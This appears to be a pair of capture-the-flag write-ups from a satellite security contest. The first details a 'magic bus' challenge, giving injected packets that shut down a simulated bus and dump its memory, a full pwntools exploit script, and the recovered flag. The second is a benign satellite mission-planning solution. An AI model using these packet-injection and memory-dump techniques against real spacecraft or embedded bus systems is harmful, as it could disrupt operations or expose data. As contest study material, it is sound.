00000000: 4a75 6963 7920 4461 7461 2030 3000 c8f7 Juicy Data 00... 00000010: eb15 963d 6b70 5cc9 2c5e d5cf 5c31 9919 ...=kp\.,^..\1.. 00000020: 779a c6a9 0865 8d55 926a 372c 00ff 23eb w....e.U.j7,..#. 00000030: 14b9 297f 2985 4856 e31d 2558 58be 59c6 ..).).HV..%XX.Y. 00000040: 4a75 6963 7920 4461 7461 2030 3100 5201 Juicy Data 01.R. 00000050: 1e7b 8147 00c9 9de3 e7c2 2336 817c fcd9 .{.G......#6.|.. 00000060: 9b6b 3a1f 68f0 35ce dd77 35ca dc87 ccfa .k:.h.5..w5..... 00000070: 024d 4102 16df e5fd a108 3322 842f fc1f .MA.......3"./.. 00000080: 4a75 6963 7920 4461 7461 2030 3200 c08f Juicy Data 02... 00000090: e702 91fd e177 fb82 7f2e a504 5ea1 23f9 .....w......^.#. 000000a0: d762 fcfd d5cd 00c0 d4ce 8661 6847 f14f .b.........ahG.O 000000b0: 4982 4d2a f948 ac79 7651 7dd4 f2a0 cdc9 I.M*.H.yvQ}..... 000000c0: 4a75 6963 7920 4461 7461 2030 3300 4dae Juicy Data 03.M. 000000d0: 409a d839 e285 b259 d62f 2dc9 d0fb 92d2 @..9...Y./-..... 000000e0: c459 aa5b 2042 c6b5 6193 b3c6 5001 7590 .Y.[ B..a...P.u. 000000f0: 9b4d ca7e d27c d7a9 ac04 727c ff04 4ec4 .M.~.|....r|..N. 00000100: 4a75 6963 7920 4461 7461 2030 3400 5a83 Juicy Data 04.Z. 00000110: 2524 01f8 a0d8 a14c dc13 c8dc 1717 a075 %$.....L.......u 00000120: 10bf f24b a525 e81e 0c4b e8f3 ...K.%...K..
Unfortunately, nothing meaningful was derived from this. There are a {
and }
with bytes between them, but they aren't flag length.
I noticed that injecting instructions performed something, but I didn't think it did anything notable. I injected various data at various points, but I never managed to break out at the previous region of memory… which is where gashapwn's incredible work came in.
If the packet ^3b+00+00+00.
is sent, the bus stops sending data,
which is decidedly confirmation that the server accepts data. Each of
the following injects has the same effect:
^3b+00+00+30+. ^3b+00+00+31+. ^3b+00+00+32+. ^3b+00+00+33+. ^3b+00+00+34+. ^3b+00+00+34+. ^3b+00+00+35+. ^3b+00+00+36+. ^3b+00+00+37+.
In practice, only this last packet is needed to shut down the server.
Anything of the form of ^3b+00+00+XX+.
where XX<38 shuts it down, but
only 37 enables dump mode. This can probably be done with a fuzzer. Why
has God abandoned us? What accursed malfunction did we do to deserve
this fate?
If you send the packet
^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+.....+87+cc+.
,
the same packet is sent back. This means that the juice packets
deliminated with \xca
are actually instructions.
By playing with the packet, the format appears to go: - Byte 0: CA - Byte 1-2: Memory offset - Byte 3-end: Size of memory to return
…so if we ask for a really large chunk of data, we can get a dump. With the inject:
b"^3b+00+00+37+." b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+....+00+00+."
we can query for everything in memory. And we did.
Full code
#!/usr/bin/env python3
import time
import sys
from pwnlib import tubes
TICKET = 'THE_TICKET'
r = tubes.remote.remote('bus.satellitesabove.me', 5041)
r.send(TICKET+'\n')
time.sleep(0.5)
r.recvuntil('Ticket please:\n', drop=True)
def to_hex(b):
return ':'.join(hex(x)[2:] for x in b)
def decode_pkt(b):
if len(b) == 0:
return
if b[0] == 0xCA:
pass # raw data?
elif b[0] == ord(':'):
if b[3] == ord('>') or b[3] == ord('?'): # > or ?
field1 = to_hex(b[7:13]) # 6 bytes
field1end = chr(b[13]) #
field2 = to_hex(b[15:22]) # 7 bytes
if b[22] != ord('@'):
print('b[22] should be @ but is {}'.format(chr(b[22])))
field3 = to_hex(b[23:25])
field3end = chr(b[25])
c1 = b[26]
field4 = to_hex(b[27:30])
if b[30] != ord('?'):
print('b[30] is not ?')
print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2,
field3, field3end, field4))
elif b[0] == ord(';'):
print('delimiter') # end of previous packet?
else:
print(b[0])
print('unknown data')
print('\n')
start = True
inj = b"^3b+00+00+37+."
inj2 = b"^ca+" + (b"00+" * 512) + b"."
dont = False
inj2_b = False
print("Injection: " + inj.decode("utf-8"))
while True:
r.recvuntil('^')
raw = r.recvuntil('.')
rawn = bytes([94]) + raw
print(rawn)
v = raw.decode().split('+')
del v[-1]
h = bytes([int(i, 16) for i in v])
if h == b';\x00\x00?':
print("ONCE CALL")
elif h == b';\x00\x00>':
print("END CALL")
elif h.startswith(b':\x00\x00?'):
print(f"ONCE: {h[4:].hex()}")
elif h.startswith(b'\x3b\x00\x00\x37'):
print("SHUT DOWN SUCCESSFUL")
dont = True
inj2_b = True
print("INJECTING AGAIN")
r.send(inj2)
elif h.startswith(b':\x00\x00>'):
# notable delay between start and end each time
if start:
print(f"START: {h[4:].hex()}")
start = False
elif inj2_b == False:
print("INJECTING")
r.send(inj)
print(f"END: {h[4:].hex()}")
start = True
else:
print("INJECTING AGAIN")
r.send(inj2)
print(f"END: {h[4:].hex()}")
start = True
elif h.startswith(b'\xca'):
print(f"JUICE: {h}")
else:
dont = True
print(f"???: {h.hex()}")
if not dont:
decode_pkt(h)
dont = False
sys.stdout.flush()
Run it:
λ has-writeup/satellite-bus/magic-bus python magic-bus.py .... JUICE: b'.....v\xaf\xe88\x856Mflag{oscar39616kilo:GCxmhORYa65Y0PmRtFmlFSBmnvImEiWg.....'
Hey look, a flag!
I hate this problem so much. At the time of me writing this, it's 1:30 AM and I'm sitting in my kitchen on my Lenovo(tm) ThinkPad(tm) T440(tm). I genuinely don't know how this got so many solves. I hate this. Goodnight.
Resources and other writeups
- God I wish there was any
≠wpage
Good Plan? Great Plan!
Category: Space and Things Points (final): 77 Solves: 54
Help the Launchdotcom team perform a mission on their satellite to take a picture of a specific location on the ground. No hacking here, just good old fashion mission planning!
The current time is April 22, 2020 at midnight (2020-04-22T00:00:00Z). We need to obtain images of the Iranian space port (35.234722 N 53.920833 E) with our satellite within the next 48 hours. You must design a mission plan that obtains the images and downloads them within the time frame without causing any system failures on the spacecraft, or putting it at risk of continuing operations. The spacecraft in question is USA 224 in the NORAD database with the following TLE:
1 37348U 11002A 20053.50800700 .00010600 00000-0 95354-4 0 09 2 37348 97.9000 166.7120 0540467 271.5258 235.8003 14.76330431 04You need to obtain 120 MB of image data of the target location and downlink it to our ground station in Fairbanks, AK (64.977488 N 147.510697 W). Your mission will begin at 2020-04-22T00:00:00Z and last 48 hours. You are submitting a mission plan to a simulator that will ensure the mission plan will not put the spacecraft at risk, and will accomplish the desired objectives.
Write-up
by arcetera)">hazel (arcetera
)
In the time range [2020-04-22 00:00:00, 2020-04-23 23:59:00], the USA 224 satellite as given in the TLE above reaches the Iranian space port twice: - Around 09:28 on 2020-04-22 - Around 09:50 on 2020-04-23 This was found in GPredict after loading in the TLE given in the netcat.
Additionally, the USA 224 reaches the ground station in Alaska twice: - Around 10:47 on 2020-04-22 - Around 11:10 on 2020-04-23
The rest of the strategy is pretty much just to use trial and error: - Image for as long as possible until the battery runs dry or we're out of range - Downlink for as long as possible until the battery runs dry or we're out of range - Desaturate the wheels about an hour before they exceed maximum velocity
Full plan
2020-04-22T00:00:00Z sun_point 2020-04-22T09:28:00Z imaging 2020-04-22T09:35:00Z sun_point 2020-04-22T10:47:00Z data_downlink 2020-04-22T10:50:00Z wheel_desaturate 2020-04-22T11:30:00Z sun_point 2020-04-23T08:50:00Z wheel_desaturate 2020-04-23T09:30:00Z sun_point 2020-04-23T09:50:00Z imaging 2020-04-23T09:56:00Z sun_point 2020-04-23T11:10:00Z data_downlink 2020-04-23T11:14:00Z sun_point 2020-04-23T22:00:00Z wheel_desaturate